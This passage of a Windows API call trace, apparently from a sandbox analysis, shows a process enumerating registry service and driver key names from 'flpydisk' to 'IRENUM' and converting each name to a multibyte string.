dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0225.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0225.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0225.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1bf8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0225.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0225.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0225.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0225.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0225.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0225.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0225.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0225.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0225.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1ad8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0225.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0225.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0225.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0225.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0225.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0225.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0225.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0225.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0225.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0225.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0225.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0225.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0225.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0225.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0225.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0225.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0225.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0225.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0225.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0225.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0225.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0225.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0225.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0225.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0225.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0225.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0225.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0225.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0225.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0225.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 